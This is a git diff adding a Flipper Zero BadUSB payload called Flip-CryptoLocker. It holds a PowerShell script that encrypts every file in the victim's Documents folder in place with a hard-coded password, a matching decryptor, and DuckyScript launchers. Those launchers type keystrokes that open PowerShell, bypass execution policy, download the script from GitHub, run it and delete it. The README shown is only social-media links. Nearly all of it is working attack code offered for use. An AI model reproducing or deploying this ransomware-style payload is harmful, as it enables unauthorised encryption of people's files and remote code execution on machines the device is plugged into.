diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1 b/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1
new file mode 100644
index 0000000..602d2c5
--- /dev/null
+++ b/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1
@@ -0,0 +1,37 @@
+# Flip-CryptoLocker.ps1
+
+function Encrypt-File {
+ param (
+ [Parameter(Mandatory=$true)]
+ [string]$Path,
+
+ [Parameter(Mandatory=$true)]
+ [string]$Password
+ )
+
+ $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
+ $AES.IV = New-Object byte[]($AES.IV.Length)
+ $AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight($AES.Key.Length, '0'))
+
+ $Content = Get-Content -Path $Path -Encoding Byte
+ $EncryptedContent = $AES.CreateEncryptor().TransformFinalBlock($Content, 0, $Content.Length)
+
+ Set-Content -Path $Path -Value $EncryptedContent -Encoding Byte
+}
+
+# Fixed password for encryption (this is only for demonstration purposes, in a real scenario, you would want to generate or receive a password securely)
+$Password = "D3m0P@ssw0rd"
+
+# Detect the user's documents folder
+$DocumentsFolder = [Environment]::GetFolderPath("MyDocuments")
+
+# Get all the files in the documents folder
+$Files = Get-ChildItem -Path $DocumentsFolder -File
+
+# Encrypt each file
+foreach ($File in $Files) {
+ Encrypt-File -Path $File.FullName -Password $Password
+ Write-Host "File encrypted: $($File.Name)"
+}
+
+Write-Host "All files in the documents folder have been encrypted!"
diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.txt b/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.txt
new file mode 100644
index 0000000..e7686d6
--- /dev/null
+++ b/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.txt
@@ -0,0 +1,13 @@
+REM Flip-CryptoLocker Launcher
+REM Author: ooovenenoso
+DELAY 2000
+GUI x
+DELAY 2000
+STRING a
+DELAY 2000
+LEFTARROW
+DELAY 2000
+ENTER
+DELAY 4000
+STRING Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/ooovenenoso/Flipper-Zero-BadUSB/main/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1' -OutFile "$env:USERPROFILE\Desktop\Flip-CryptoLocker.ps1"; & "$env:USERPROFILE\Desktop\Flip-CryptoLocker.ps1"; Remove-Item "$env:USERPROFILE\Desktop\Flip-CryptoLocker.ps1" -Force
+ENTER
diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1 b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1
new file mode 100644
index 0000000..d062239
--- /dev/null
+++ b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1
@@ -0,0 +1,37 @@
+# Flip-CryptoUnlocker.ps1
+
+function Decrypt-File {
+ param (
+ [Parameter(Mandatory=$true)]
+ [string]$Path,
+
+ [Parameter(Mandatory=$true)]
+ [string]$Password
+ )
+
+ $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
+ $AES.IV = New-Object byte[]($AES.IV.Length)
+ $AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight($AES.Key.Length, '0'))
+
+ $EncryptedContent = Get-Content -Path $Path -Encoding Byte
+ $DecryptedContent = $AES.CreateDecryptor().TransformFinalBlock($EncryptedContent, 0, $EncryptedContent.Length)
+
+ Set-Content -Path $Path -Value $DecryptedContent -Encoding Byte
+}
+
+# Fixed password for decryption (it should be the same one used for encryption)
+$Password = "D3m0P@ssw0rd"
+
+# Detect the user's documents folder
+$DocumentsFolder = [Environment]::GetFolderPath("MyDocuments")
+
+# Get all the files in the documents folder
+$Files = Get-ChildItem -Path $DocumentsFolder -File
+
+# Decrypt each file
+foreach ($File in $Files) {
+ Decrypt-File -Path $File.FullName -Password $Password
+ Write-Host "File decrypted: $($File.Name)"
+}
+
+Write-Host "All files in the documents folder have been decrypted!"
diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt
new file mode 100644
index 0000000..47a901f
--- /dev/null
+++ b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt
@@ -0,0 +1,13 @@
+REM Flip-CryptoUnlocker Launcher
+REM Author: ooovenenoso
+DELAY 2000
+GUI x
+DELAY 2000
+STRING a
+DELAY 2000
+LEFTARROW
+DELAY 2000
+ENTER
+DELAY 4000
+STRING Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/ooovenenoso/Flipper-Zero-BadUSB/main/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1' -OutFile "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1"; & "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1"; Remove-Item "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1" -Force
+ENTER
diff --git a/Payloads/Flip-CryptoLocker/README.md b/Payloads/Flip-CryptoLocker/README.md
new file mode 100644
index 0000000..d1bb73e
--- /dev/null
+++ b/Payloads/Flip-CryptoLocker/README.md
@@ -0,0 +1,118 @@
+
+
+
+
+
+
+
+ YouTube + |
+
+
+ ![]() Twitter + |
+
+
+ ![]() Instagram + |
+
+
+ Discord + |
+
+
+ TikTok + |
+
+
+